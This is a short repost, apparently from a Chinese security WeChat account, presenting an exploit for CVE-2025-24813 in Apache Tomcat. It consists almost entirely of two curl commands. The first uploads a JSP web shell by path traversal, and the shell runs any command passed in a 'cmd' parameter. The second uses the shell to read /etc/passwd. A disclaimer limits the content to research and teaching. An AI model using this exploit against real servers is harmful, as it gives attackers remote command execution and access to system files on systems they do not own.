curl -X PUT "http://target.com/uploads/../webapps/ROOT/updates.jsp"-H "Content-Type: application/x-jsp"--data-raw '<%@ page import="java.io.*" %><html><body><formmethod="GET"><inputtype="text"name="cmd"><inputtype="submit"value="Run"></form><% if(request.getParameter("cmd") != null) {Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));String l; while((l=r.readLine())!=null){ out.println(l+"<br>"); } } %></body></html>' -i
curl "http://target.com/updates.jsp?cmd=cat/etc/passwd" -i
原文始发于微信公众号（TtTeam）：CVE-2025-24813 - Apache Tomcat RCE
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论